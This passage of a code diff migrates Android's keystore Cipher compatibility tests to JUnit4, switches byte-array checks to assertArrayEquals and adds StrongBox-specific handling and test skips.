+    public void setUp() throws Exception {
+        if (isStrongbox()) {
+            TestUtils.assumeStrongBox();
+        }
         mAndroidKeyStore = KeyStore.getInstance("AndroidKeyStore");
         mAndroidKeyStore.load(null);
         for (Enumeration<String> e = mAndroidKeyStore.aliases(); e.hasMoreElements();) {
@@ -68,14 +90,12 @@
         }
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        try {
+    @After
+    public void tearDown() throws Exception {
+        if (mAndroidKeyStore != null) {
             for (Enumeration<String> e = mAndroidKeyStore.aliases(); e.hasMoreElements();) {
                 mAndroidKeyStore.deleteEntry(e.nextElement());
             }
-        } finally {
-            super.tearDown();
         }
     }
 
@@ -94,6 +114,8 @@
     protected abstract byte[] getIv(AlgorithmParameters params)
             throws InvalidParameterSpecException;
 
+    abstract protected boolean isStrongbox();
+
     private byte[] getKatInput(int opmode) {
         switch (opmode) {
             case Cipher.ENCRYPT_MODE:
@@ -119,27 +141,32 @@
     private Cipher mCipher;
     private int mOpmode;
 
+    @Test
     public void testGetAlgorithm() throws Exception {
         createCipher();
         assertEquals(getTransformation(), mCipher.getAlgorithm());
     }
 
+    @Test
     public void testGetProvider() throws Exception {
         createCipher();
         Provider expectedProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertSame(expectedProvider, mCipher.getProvider());
     }
 
+    @Test
     public void testGetBlockSize() throws Exception {
         createCipher();
         assertEquals(getBlockSize(), mCipher.getBlockSize());
     }
 
+    @Test
     public void testGetExemptionMechanism() throws Exception {
         createCipher();
         assertNull(mCipher.getExemptionMechanism());
     }
 
+    @Test
     public void testGetParameters() throws Exception {
         createCipher();
         assertAlgoritmParametersIv(null);
@@ -162,10 +189,11 @@
             assertNull(actualParameters);
         } else {
             byte[] actualIv = getIv(actualParameters);
-            assertEquals(expectedIv, actualIv);
+            assertArrayEquals(expectedIv, actualIv);
         }
     }
 
+    @Test
     public void testGetOutputSizeInEncryptionMode() throws Exception {
         int blockSize = getBlockSize();
         createCipher();
@@ -232,7 +260,12 @@
         }
     }
 
+    @Test
     public void testGetOutputSizeInDecryptionMode() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         int blockSize = getBlockSize();
         createCipher();
         try {
@@ -309,6 +342,7 @@
         }
     }
 
+    @Test
     public void testInitRequiresIvInDecryptMode() throws Exception {
         if (getKatIv() == null) {
             // IV not used in this transformation.
@@ -352,24 +386,26 @@
         } catch (InvalidAlgorithmParameterException expected) {}
     }
 
+    @Test
     public void testGetIV() throws Exception {
         createCipher();
         assertNull(mCipher.getIV());
 
         initKat(Cipher.ENCRYPT_MODE);
-        assertEquals(getKatIv(), mCipher.getIV());
+        assertArrayEquals(getKatIv(), mCipher.getIV());
 
         byte[] ciphertext = doFinal(new byte[getBlockSize()]);
-        assertEquals(getKatIv(), mCipher.getIV());
+        assertArrayEquals(getKatIv(), mCipher.getIV());
 
         createCipher();
         initKat(Cipher.DECRYPT_MODE);
-        assertEquals(getKatIv(), mCipher.getIV());
+        assertArrayEquals(getKatIv(), mCipher.getIV());
 
         doFinal(ciphertext);
-        assertEquals(getKatIv(), mCipher.getIV());
+        assertArrayEquals(getKatIv(), mCipher.getIV());
     }
 
+    @Test
     public void testIvGeneratedAndUsedWhenEncryptingWithoutExplicitIv() throws Exception {
         createCipher();
         SecretKey key = getKey();
@@ -385,7 +421,7 @@
             assertNotNull(generatedIv);
             assertEquals(getKatIv().length, generatedIv.length);
             assertNotNull(generatedParams);
-            assertEquals(generatedIv, getIv(generatedParams));
+            assertArrayEquals(generatedIv, getIv(generatedParams));
         }
 
         // Assert that encrypting then decrypting using the above IV (or null) results in the
@@ -395,9 +431,10 @@
         createCipher();
         init(Cipher.DECRYPT_MODE, key, generatedParams);
         byte[] decryptedPlaintext = mCipher.doFinal(ciphertext);
-        assertEquals(plaintext, decryptedPlaintext);
+        assertArrayEquals(plaintext, decryptedPlaintext);
     }
 
+    @Test
     public void testGeneratedIvSurvivesReset() throws Exception {
         if (getKatIv() == null) {
             // This transformation does not use an IV
@@ -410,7 +447,7 @@
         AlgorithmParameters generatedParams = mCipher.getParameters();
         byte[] ciphertext = mCipher.doFinal(getKatPlaintext());
         // Assert that the IV is still there
-        assertEquals(iv, mCipher.getIV());
+        assertArrayEquals(iv, mCipher.getIV());
         assertAlgoritmParametersIv(iv);
 
         if (getKatIv() != null) {
@@ -419,17 +456,18 @@
         }
 
         // Assert that encrypting the same input after the above reset produces the same ciphertext.
-        assertEquals(ciphertext, mCipher.doFinal(getKatPlaintext()));
+        assertArrayEquals(ciphertext, mCipher.doFinal(getKatPlaintext()));
 
-        assertEquals(iv, mCipher.getIV());
+        assertArrayEquals(iv, mCipher.getIV());
         assertAlgoritmParametersIv(iv);
 
         // Just in case, test with a new instance of Cipher with the same parameters
         createCipher();
         init(Cipher.ENCRYPT_MODE, getKey(), generatedParams);
-        assertEquals(ciphertext, mCipher.doFinal(getKatPlaintext()));
+        assertArrayEquals(ciphertext, mCipher.doFinal(getKatPlaintext()));
     }
 
+    @Test
     public void testGeneratedIvDoesNotSurviveReinitialization() throws Exception {
         if (getKatIv() == null) {
             // This transformation does not use an IV
@@ -449,6 +487,7 @@
         }
     }
 
+    @Test
     public void testExplicitlySetIvDoesNotSurviveReinitialization() throws Exception {
         if (getKatIv() == null) {
             // This transformation does not use an IV
@@ -466,6 +505,7 @@
         }
     }
 
+    @Test
     public void testReinitializingInDecryptModeDoesNotUsePreviouslyUsedIv() throws Exception {
         if (getKatIv() == null) {
             // This transformation does not use an IV
@@ -526,6 +566,7 @@
         } catch (InvalidAlgorithmParameterException expected) {}
     }
 
+    @Test
     public void testKeyDoesNotSurviveReinitialization() throws Exception {
         assertKeyDoesNotSurviveReinitialization(Cipher.ENCRYPT_MODE);
         assertKeyDoesNotSurviveReinitialization(Cipher.DECRYPT_MODE);
@@ -544,13 +585,19 @@
         SecretKey key2 = importKey(katKeyBytes);
 
         init(opmode, key2, getKatAlgorithmParameterSpec());
-        byte[] output2;
+        byte[] output2 = null;
         try {
             output2 = doFinal(input);
         } catch (BadPaddingException expected) {
             // Padding doesn't decode probably because the new key is being used. This can only
             // occur if padding is used.
             return;
+        } catch (IllegalBlockSizeException notExpected) {
+            if (isStrongbox()) {
+                fail("Should throw BadPaddingException (b/194126736)");
+            } else {
+                throw notExpected;
+            }
         }
 
         // Either padding wasn't used or the old key was used.
@@ -559,7 +606,12 @@
         }
     }
 
+    @Test
     public void testDoFinalResets() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         assertDoFinalResetsCipher(Cipher.DECRYPT_MODE);
         assertDoFinalResetsCipher(Cipher.ENCRYPT_MODE);
     }
@@ -570,7 +622,7 @@
 
         createCipher();
         initKat(opmode);
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
 
         if ((opmode == Cipher.ENCRYPT_MODE) && (getKatIv() != null)) {
             // Assert that this cipher cannot be reused (thus making IV reuse harder)
@@ -582,27 +634,28 @@
         }
 
         // Assert that the same output is produced after the above reset
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
 
         // Assert that the same output is produced after the above reset. This time, make update()
         // buffer half a block of input.
         if (input.length < getBlockSize() * 2) {
             fail("This test requires an input which is at least two blocks long");
         }
-        assertEquals(expectedOutput, concat(
+        assertArrayEquals(expectedOutput, concat(
                 update(subarray(input, 0, getBlockSize() * 3 / 2)),
                 doFinal(subarray(input, getBlockSize() * 3 / 2, input.length))));
 
         // Assert that the same output is produced after the above reset, despite half of the block
         // having been buffered prior to the reset. This is in case the implementation does not
         // empty that buffer when resetting.
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
 
         // Assert that the IV with which the cipher was initialized is still there after the resets.
-        assertEquals(getKatIv(), mCipher.getIV());
+        assertArrayEquals(getKatIv(), mCipher.getIV());
         assertAlgoritmParametersIv(getKatIv());
     }
 
+    @Test
     public void testUpdateWithEmptyInputReturnsCorrectValue() throws Exception {
         // Test encryption
         createCipher();
@@ -632,7 +685,12 @@
         assertEquals(null, update(new byte[getBlockSize()], 0, 0));
     }
 
+    @Test
     public void testUpdateDoesNotProduceOutputWhenInsufficientInput() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         if (isStreamCipher()) {
             // Stream ciphers always produce output for non-empty input.
             return;
@@ -662,7 +720,20 @@
 
         // Complete the current block. There are blockSize - 4 bytes left to fill.
         byte[] output = update(new byte[getBlockSize() - 4]);
-        assertEquals(getBlockSize(), output.length);
+
+        try {
+            assertEquals(getBlockSize(), output.length);
+        } catch (NullPointerException e) {
+            if (isStrongbox() && output == null) {
+                if (Build.VERSION_CODES.TIRAMISU
+                        > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                    // Known broken on some older vendor implementations.
+                    return;
+                }
+                fail("b/194134359");
+            }
+            throw e;
+        }
 
         assertEquals(null, update(new byte[1]));
         assertEquals(null, update(new byte[1], 0, 1));
@@ -671,12 +742,14 @@
         assertEquals(0, update(ByteBuffer.allocate(1), ByteBuffer.allocate(getBlockSize())));
     }
 
+    @Test
     public void testKatOneShotEncryptUsingDoFinal() throws Exception {
         createCipher();
         assertKatOneShotTransformUsingDoFinal(
                 Cipher.ENCRYPT_MODE, getKatPlaintext(), getKatCiphertext());
     }
 
+    @Test
     public void testKatOneShotDecryptUsingDoFinal() throws Exception {
         createCipher();
         assertKatOneShotTransformUsingDoFinal(
@@ -692,11 +765,11 @@
                 new byte[4]);
 
         initKat(opmode);
-        assertEquals(expectedOutput, doFinal(input));
+        assertArrayEquals(expectedOutput, doFinal(input));
         initKat(opmode);
-        assertEquals(expectedOutput, doFinal(input, 0, input.length));
+        assertArrayEquals(expectedOutput, doFinal(input, 0, input.length));
         initKat(opmode);
-        assertEquals(expectedOutput,
+        assertArrayEquals(expectedOutput,
                 doFinal(bufferWithInputInTheMiddle,
                         bufferWithInputInTheMiddleCleartextOffset,
                         input.length));
@@ -714,29 +787,53 @@
                 actualOutputBuffer);
     }
 
+    @Test
     public void testKatEncryptOneByteAtATime() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         createCipher();
         initKat(Cipher.ENCRYPT_MODE);
         byte[] plaintext = getKatPlaintext();
         byte[] expectedCiphertext = getKatCiphertext();
         int blockSize = getBlockSize();
         if (isStreamCipher()) {
+            ByteArrayOutputStream actualCiphertext = new ByteArrayOutputStream();
             // Stream cipher -- one byte in, one byte out
             for (int plaintextIndex = 0; plaintextIndex < plaintext.length; plaintextIndex++) {
                 byte[] output = update(new byte[] {plaintext[plaintextIndex]});
-                assertEquals("plaintext index: " + plaintextIndex, 1, output.length);
-                assertEquals("plaintext index: " + plaintextIndex,
-                        expectedCiphertext[plaintextIndex], output[0]);
+                if (output != null) {
+                    actualCiphertext.write(output);
+                }
+                // Some StrongBox implementations cannot support 1:1 input:output lengths, so
+                // we relax this API restriction for them.
+                if (!isStrongbox()) {
+                    assertEquals("plaintext index: " + plaintextIndex, 1, output.length);
+                    assertEquals("plaintext index: " + plaintextIndex,
+                            expectedCiphertext[plaintextIndex], output[0]);
+                }
             }
             byte[] finalOutput = doFinal();
-            byte[] expectedFinalOutput;
-            if (isAuthenticatedCipher()) {
-                expectedFinalOutput =
-                        subarray(expectedCiphertext, plaintext.length, expectedCiphertext.length);
-            } else {
-                expectedFinalOutput = EmptyArray.BYTE;
+            if (!isStrongbox()) {
+                byte[] expectedFinalOutput;
+                if (isAuthenticatedCipher()) {
+                    expectedFinalOutput =
+                            subarray(expectedCiphertext, plaintext.length,
+                                    expectedCiphertext.length);
+                } else {
+                    expectedFinalOutput = EmptyArray.BYTE;
+                }
+                assertArrayEquals(expectedFinalOutput, finalOutput);
             }
-            assertEquals(expectedFinalOutput, finalOutput);
+
+            // StrongBox doesn't require 1:1 in:out, so just compare the full ciphertext. We perform
+            // this check on non-StrongBox implementations as well to ensure the test logic is
+            // exercised on non-StrongBox platforms.
+            if (finalOutput != null) {
+                actualCiphertext.write(finalOutput);
+            }
+            assertArrayEquals(expectedCiphertext, actualCiphertext.toByteArray());
         } else {
             // Not a stream cipher -- operates on full blocks only.
 
@@ -745,18 +842,33 @@
             int ciphertextIndex = 0;
             for (int plaintextIndex = 0; plaintextIndex < plaintext.length; plaintextIndex++) {
                 byte[] output = update(new byte[] {plaintext[plaintextIndex]});
-                if ((plaintextIndex % blockSize) == blockSize - 1) {
-                    // Cipher.update is expected to have output a new block
-                    assertEquals(
-                            "plaintext index: " + plaintextIndex,
-                            subarray(
-                                    expectedCiphertext,
-                                    ciphertextIndex,
-                                    ciphertextIndex + blockSize),
-                            output);
-                } else {
-                    // Cipher.update is expected to have produced no output
-                    assertEquals("plaintext index: " + plaintextIndex, null, output);
+                String additionalInformation = "";
+                boolean compareOutput = true;
+                if (isStrongbox()) {
+                    // This is known to be broken on older vendor implementations.
+                    if (Build.VERSION_CODES.TIRAMISU
+                            > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                        compareOutput = false;
+                    } else {
+                        additionalInformation = " (b/194134359)";
+                    }
+                }
+                if (compareOutput) {
+                    if ((plaintextIndex % blockSize) == blockSize - 1) {
+                        // Cipher.update is expected to have output a new block
+                        assertArrayEquals(
+                                "plaintext index: " + plaintextIndex + additionalInformation,
+                                subarray(
+                                        expectedCiphertext,
+                                        ciphertextIndex,
+                                        ciphertextIndex + blockSize),
+                                output);
+                    } else {
+                        // Cipher.update is expected to have produced no output
+                        assertArrayEquals(
+                                "plaintext index: " + plaintextIndex + additionalInformation,
+                                null, output);
+                    }
                 }
                 if (output != null) {
                     ciphertextIndex += output.length;
@@ -766,11 +878,16 @@
             byte[] actualFinalOutput = doFinal();
             byte[] expectedFinalOutput =
                     subarray(expectedCiphertext, ciphertextIndex, expectedCiphertext.length);
-            assertEquals(expectedFinalOutput, actualFinalOutput);
+            assertArrayEquals(expectedFinalOutput, actualFinalOutput);
         }
     }
 
+    @Test
     public void testKatDecryptOneByteAtATime() throws Exception {
+        if (!TestUtils.isAttestationSupported()) {
+            return;
+        }
+
         createCipher();
         initKat(Cipher.DECRYPT_MODE);
         byte[] ciphertext = getKatCiphertext();
@@ -786,17 +903,35 @@
                         0, (output != null) ? output.length : 0);
             }
             byte[] finalOutput = doFinal();
-            assertEquals(expectedPlaintext, finalOutput);
+            assertArrayEquals(expectedPlaintext, finalOutput);
         } else if (isStreamCipher()) {
+            ByteArrayOutputStream actualPlaintext = new ByteArrayOutputStream();
             // Unauthenticated stream cipher -- one byte in, one byte out
             for (int ciphertextIndex = 0; ciphertextIndex < ciphertext.length; ciphertextIndex++) {
                 byte[] output = update(new byte[] {ciphertext[ciphertextIndex]});
-                assertEquals("ciphertext index: " + ciphertextIndex, 1, output.length);
-                assertEquals("ciphertext index: " + ciphertextIndex,
-                        expectedPlaintext[ciphertextIndex], output[0]);
+                if (output != null) {
+                    actualPlaintext.write(output);
+                }
+                // Some StrongBox implementations cannot support 1:1 input:output lengths, so
+                // we relax this API restriction for them.
+                if (!isStrongbox()) {
+                    assertEquals("ciphertext index: " + ciphertextIndex, 1, output.length);
+                    assertEquals("ciphertext index: " + ciphertextIndex,
+                            expectedPlaintext[ciphertextIndex], output[0]);
+                }
             }
             byte[] finalOutput = doFinal();
-            assertEquals(0, finalOutput.length);
+            if (!isStrongbox()) {
+                assertEquals(0, finalOutput.length);
+            }
+
+            // StrongBox doesn't require 1:1 in:out, so just compare the full ciphertext. We perform
+            // this check on non-StrongBox implementations as well to ensure the test logic is
+            // exercised on non-StrongBox platforms.
+            if (finalOutput != null) {
+                actualPlaintext.write(finalOutput);
+            }
+            assertArrayEquals(expectedPlaintext, actualPlaintext.toByteArray());
         } else {
             // Unauthenticated block cipher -- operates in full blocks only
 
@@ -810,13 +945,28 @@
                                 && (ciphertextIndex > 0) && ((ciphertextIndex % blockSize) == 0))
                         || ((!paddingEnabled) && ((ciphertextIndex % blockSize) == blockSize - 1));
 
-                if (outputExpected) {
-                    assertEquals(
-                            "ciphertext index: " + ciphertextIndex,
-                            subarray(expectedPlaintext, plaintextIndex, plaintextIndex + blockSize),
-                            output);
-                } else {
-                    assertEquals("ciphertext index: " + ciphertextIndex, null, output);
+                String additionalInformation = "";
+                boolean compareOutput = true;
+                if (isStrongbox()) {
+                    // This is known to be broken on older vendor implementations.
+                    if (Build.VERSION_CODES.TIRAMISU
+                            > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                        compareOutput = false;
+                    } else {
+                        additionalInformation = " (b/194134040)";
+                    }
+                }
+                if (compareOutput) {
+                    if (outputExpected) {
+                        assertArrayEquals(
+                                "ciphertext index: " + ciphertextIndex + additionalInformation,
+                                subarray(expectedPlaintext, plaintextIndex,
+                                    plaintextIndex + blockSize),
+                                output);
+                    } else {
+                        assertEquals("ciphertext index: " + ciphertextIndex + additionalInformation,
+                                null, output);
+                    }
                 }
 
                 if (output != null) {
@@ -827,10 +977,11 @@
             byte[] actualFinalOutput = doFinal();
             byte[] expectedFinalOutput =
                     subarray(expectedPlaintext, plaintextIndex, expectedPlaintext.length);
-            assertEquals(expectedFinalOutput, actualFinalOutput);
+            assertArrayEquals(expectedFinalOutput, actualFinalOutput);
         }
     }
 
+    @Test
     public void testUpdateAADNotSupported() throws Exception {
         if (isAuthenticatedCipher()) {
             // Not applicable to authenticated ciphers where updateAAD is supported.
@@ -846,6 +997,7 @@
         assertUpdateAADNotSupported();
     }
 
+    @Test
     public void testUpdateAADSupported() throws Exception {
         if (!isAuthenticatedCipher()) {
             // Not applicable to unauthenticated ciphers where updateAAD is not supported.
@@ -889,6 +1041,7 @@
 
     // TODO: Add tests for WRAP and UNWRAP
 
+    @Test
     public void testUpdateAndDoFinalNotSupportedInWrapAndUnwrapModes() throws Exception {
         createCipher();
         assertUpdateAndDoFinalThrowIllegalStateExceprtion(
@@ -981,6 +1134,7 @@
         } catch (IllegalStateException expected) {}
     }
 
+    @Test
     public void testGeneratedPadding() throws Exception {
         // Assert that the Cipher under test correctly handles plaintexts of various lengths.
         if (isStreamCipher()) {
@@ -1013,7 +1167,7 @@
             }
             byte[] ciphertext = doFinal(plaintext);
 
-            assertEquals(
+            assertArrayEquals(
                     "lastInputBlockUnusedByteCount: " + lastInputBlockUnusedByteCount,
                     baseCiphertext,
                     subarray(ciphertext, 0, baseCiphertext.length));
@@ -1031,13 +1185,14 @@
                     "lastInputBlockUnusedByteCount: " + lastInputBlockUnusedByteCount,
                     expectedDecryptedPlaintextLength,
                     decryptedPlaintext.length);
-            assertEquals(
+            assertArrayEquals(
                     "lastInputBlockUnusedByteCount: " + lastInputBlockUnusedByteCount,
                     basePlaintext,
                     subarray(decryptedPlaintext, 0, basePlaintext.length));
         }
     }
 
+    @Test
     public void testDecryptWithMangledPadding() throws Exception {
         if (!isPaddingEnabled()) {
             // Test not applicable when padding not in use
@@ -1054,8 +1209,16 @@
             doFinal(ciphertext);
             fail();
         } catch (BadPaddingException expected) {}
+        catch (IllegalBlockSizeException e) {
+            if (isStrongbox()) {
+                fail("Should throw BadPaddingException (b/194126736)");
+            } else {
+                fail();
+            }
+        }
     }
 
+    @Test
     public void testDecryptWithMissingPadding() throws Exception {
         if (!isPaddingEnabled()) {
             // Test not applicable when padding not in use
@@ -1069,8 +1232,16 @@
             doFinal(ciphertext);
             fail();
         } catch (BadPaddingException expected) {}
+        catch (IllegalBlockSizeException e) {
+            if (isStrongbox()) {
+                fail("Should throw BadPaddingException (b/194126736)");
+            } else {
+                fail();
+            }
+        }
     }
 
+    @Test
     public void testUpdateCopySafe() throws Exception {
         // Assert that when input and output buffers passed to Cipher.update reference the same
         // byte array, then no input data is overwritten before it's consumed.
@@ -1146,42 +1317,68 @@
         int inputEndIndexInBuffer = inputOffsetInBuffer + input.length;
         int outputEndIndexInBuffer = outputOffsetInBuffer + expectedOutput.length;
 
+        assertTrue("StrongBox output assumptions below need input to be at least a block.",
+                input.length >= blockSize);
+
         // Test the update(byte[], int, int, byte[], int) variant
         byte[] buffer = new byte[Math.max(inputEndIndexInBuffer, outputEndIndexInBuffer)];
         System.arraycopy(input, 0, buffer, inputOffsetInBuffer, input.length);
         createCipher();
         initKat(opmode);
-        assertEquals(expectedOutput.length,
-                update(buffer, inputOffsetInBuffer, input.length,
-                        buffer, outputOffsetInBuffer));
-        assertEquals(expectedOutput,
+        int outputLength = update(buffer, inputOffsetInBuffer, input.length,
+                buffer, outputOffsetInBuffer);
+        if (isStrongbox()) {
+            // StrongBox does not have to support one byte of output per byte of input.
+            assertTrue("output length: " + outputLength,
+                    outputLength >= blockSize || (expectedOutput.length == 0 && outputLength == 0));
+            outputEndIndexInBuffer = outputOffsetInBuffer + outputLength;
+        } else {
+            assertEquals(expectedOutput.length, outputLength);
+        }
+        assertArrayEquals(subarray(expectedOutput, 0, outputLength),
                 subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
 
         if (outputOffsetInBuffer == 0) {
             // We can use the update variant which assumes that output offset is 0.
-            buffer = new byte[Math.max(inputEndIndexInBuffer, outputEndIndexInBuffer)];
+            Arrays.fill(buffer, (byte)0);
             System.arraycopy(input, 0, buffer, inputOffsetInBuffer, input.length);
             createCipher();
             initKat(opmode);
-            assertEquals(expectedOutput.length,
-                    update(buffer, inputOffsetInBuffer, input.length, buffer));
-            assertEquals(expectedOutput,
+            outputLength = update(buffer, inputOffsetInBuffer, input.length, buffer, outputOffsetInBuffer);
+            if (isStrongbox()) {
+                // StrongBox does not have to support one byte of output per byte of input.
+                assertTrue("output length: " + outputLength,
+                        outputLength >= blockSize || (expectedOutput.length == 0 && outputLength == 0));
+                outputEndIndexInBuffer = outputOffsetInBuffer + outputLength;
+            } else {
+                assertEquals(expectedOutput.length, outputLength);
+            }
+            assertArrayEquals(subarray(expectedOutput, 0, outputLength),
                     subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
         }
 
         // Test the update(ByteBuffer, ByteBuffer) variant
-        buffer = new byte[Math.max(inputEndIndexInBuffer, outputEndIndexInBuffer)];
+        Arrays.fill(buffer, (byte)0);
         System.arraycopy(input, 0, buffer, inputOffsetInBuffer, input.length);
         ByteBuffer inputBuffer = ByteBuffer.wrap(buffer, inputOffsetInBuffer, input.length);
         ByteBuffer outputBuffer =
                 ByteBuffer.wrap(buffer, outputOffsetInBuffer, expectedOutput.length);
         createCipher();
         initKat(opmode);
-        assertEquals(expectedOutput.length, update(inputBuffer, outputBuffer));
-        assertEquals(expectedOutput,
+        outputLength = update(inputBuffer, outputBuffer);
+        if (isStrongbox()) {
+            // StrongBox does not have to support one byte of output per byte of input.
+            assertTrue("output length: " + outputLength,
+                    outputLength >= blockSize || (expectedOutput.length == 0 && outputLength == 0));
+            outputEndIndexInBuffer = outputOffsetInBuffer + outputLength;
+        } else {
+            assertEquals(expectedOutput.length, outputLength);
+        }
+        assertArrayEquals(subarray(expectedOutput, 0, outputLength),
                 subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
     }
 
+    @Test
     public void testDoFinalCopySafe() throws Exception {
         // Assert that when input and output buffers passed to Cipher.doFinal reference the same
         // byte array, then no input data is overwritten before it's consumed.
@@ -1223,7 +1420,7 @@
         assertEquals(expectedOutput.length,
                 doFinal(buffer, inputOffsetInBuffer, input.length,
                         buffer, outputOffsetInBuffer));
-        assertEquals(expectedOutput,
+        assertArrayEquals(expectedOutput,
                 subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
 
         if (outputOffsetInBuffer == 0) {
@@ -1234,7 +1431,7 @@
             initKat(opmode);
             assertEquals(expectedOutput.length,
                     doFinal(buffer, inputOffsetInBuffer, input.length, buffer));
-            assertEquals(expectedOutput,
+            assertArrayEquals(expectedOutput,
                     subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
         }
 
@@ -1247,10 +1444,11 @@
         createCipher();
         initKat(opmode);
         assertEquals(expectedOutput.length, doFinal(inputBuffer, outputBuffer));
-        assertEquals(expectedOutput,
+        assertArrayEquals(expectedOutput,
                 subarray(buffer, outputOffsetInBuffer, outputEndIndexInBuffer));
     }
 
+    @Test
     public void testVeryLargeBlock() throws Exception {
         createCipher();
         Key key = importKey(getKatKey());
@@ -1322,6 +1520,7 @@
                             .setBlockModes(getBlockMode())
                             .setEncryptionPaddings(getPadding())
                             .setRandomizedEncryptionRequired(false)
+                            .setIsStrongBoxBacked(isStrongbox())
                             .build());
             return (SecretKey) mAndroidKeyStore.getKey(keyAlias, null);
         } catch (Exception e) {
@@ -1438,7 +1637,9 @@
         }
 
         if (isStreamCipher()) {
-            if (outputLength != inputLength) {
+            // Some StrongBox implementations cannot support 1:1 input:output lengths, so
+            // we relax this API restriction for them.
+            if (outputLength != inputLength && !isStrongbox()) {
                 fail("Output of update (" + outputLength + ") not same size as input ("
                         + inputLength + ")");
             }
@@ -1510,13 +1711,6 @@
         mCipher.updateAAD(input);
     }
 
-    @SuppressWarnings("unused")
-    protected static void assertEquals(Buffer expected, Buffer actual) {
-        throw new RuntimeException(
-                "Comparing ByteBuffers using their .equals is probably not what you want"
-                + " -- use assertByteBufferEquals instead.");
-    }
-
     /**
      * Asserts that the position, limit, and capacity of the provided buffers are the same, and that
      * their contents (from position {@code 0} to capacity) are the same.
@@ -1593,33 +1787,6 @@
         return result;
     }
 
-    protected static void assertEquals(byte[] expected, byte[] actual) {
-        assertEquals(null, expected, actual);
-    }
-
-    protected static void assertEquals(String message, byte[] expected, byte[] actual) {
-        if (!Arrays.equals(expected, actual)) {
-            StringBuilder detail = new StringBuilder();
-            if (expected != null) {
-                detail.append("Expected (" + expected.length + " bytes): <"
-                        + HexEncoding.encode(expected) + ">");
-            } else {
-                detail.append("Expected: null");
-            }
-            if (actual != null) {
-                detail.append(", actual (" + actual.length + " bytes): <"
-                        + HexEncoding.encode(actual) + ">");
-            } else {
-                detail.append(", actual: null");
-            }
-            if (message != null) {
-                fail(message + ": " + detail);
-            } else {
-                fail(detail.toString());
-            }
-        }
-    }
-
     protected final void assertInitRejectsIvParameterSpec(byte[] iv) throws Exception {
         Key key = importKey(getKatKey());
         createCipher();
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 0912d0c..e6de053 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -16,20 +16,37 @@
 
 package android.keystore.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.app.KeyguardManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.keystore.cts.util.EmptyArray;
+import android.keystore.cts.util.ImportedKey;
+import android.keystore.cts.util.TestUtils;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.server.wm.ActivityManagerTestBase;
 import android.server.wm.UiDeviceUtils;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.google.common.collect.ObjectArrays;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.security.AlgorithmParameters;
@@ -37,10 +54,10 @@
 import java.security.Key;
 import java.security.KeyStoreException;
 import java.security.Provider;
+import java.security.Provider.Service;
 import java.security.Security;
 import java.security.spec.AlgorithmParameterSpec;
 import java.security.spec.MGF1ParameterSpec;
-import java.security.Provider.Service;
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Date;
@@ -66,7 +83,8 @@
  * Tests for algorithm-agnostic functionality of {@code Cipher} implementations backed by Android
  * Keystore.
  */
-public class CipherTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CipherTest {
 
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_CRYPTO_OP_PROVIDER_NAME;
 
@@ -274,7 +292,11 @@
     private static final byte[] DESede_KAT_KEY_BYTES = HexEncoding.decode(
             "5EBE2294ECD0E0F08EAB7690D2A6EE6926AE5CC854E36B6B");
 
-    private class DeviceLockSession  extends ActivityManagerTestBase implements AutoCloseable {
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    private class DeviceLockSession extends ActivityManagerTestBase implements AutoCloseable {
 
         private LockScreenSession mLockCredential;
 
@@ -308,11 +330,11 @@
         @Override
         public void close() throws Exception {
             mLockCredential.close();
-            tearDown();
         }
     }
 
     @Presubmit
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected Cipher
         // transformations. We don't care whether the transformations are exposed via aliases, as
@@ -337,6 +359,7 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testAndroidKeyStoreKeysHandledByAndroidKeyStoreProviderWhenDecrypting()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -374,6 +397,7 @@
         }
     }
 
+    @Test
     public void testAndroidKeyStorePublicKeysAcceptedByHighestPriorityProviderWhenEncrypting()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -399,6 +423,7 @@
         }
     }
 
+    @Test
     public void testEmptyPlaintextEncryptsAndDecrypts()
             throws Exception {
